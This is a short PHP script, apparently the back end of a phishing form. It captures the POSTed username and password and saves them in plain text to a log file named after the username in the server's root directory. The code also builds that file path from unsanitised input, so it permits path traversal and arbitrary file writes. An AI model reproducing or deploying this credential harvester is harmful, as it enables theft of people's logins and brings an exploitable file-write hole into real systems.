<?php
   $dir = "/";
   $username = $_POST['username'];
   $password = $_POST['password'];
   $title = $username;
   $content = "Username: ".$username ."\r\nPassword: ".$password;
   $filename = $dir.$title.".log";
   $handle = fopen($filename, "w");
   fwrite($handle, $content);
   fclose($handle);
?>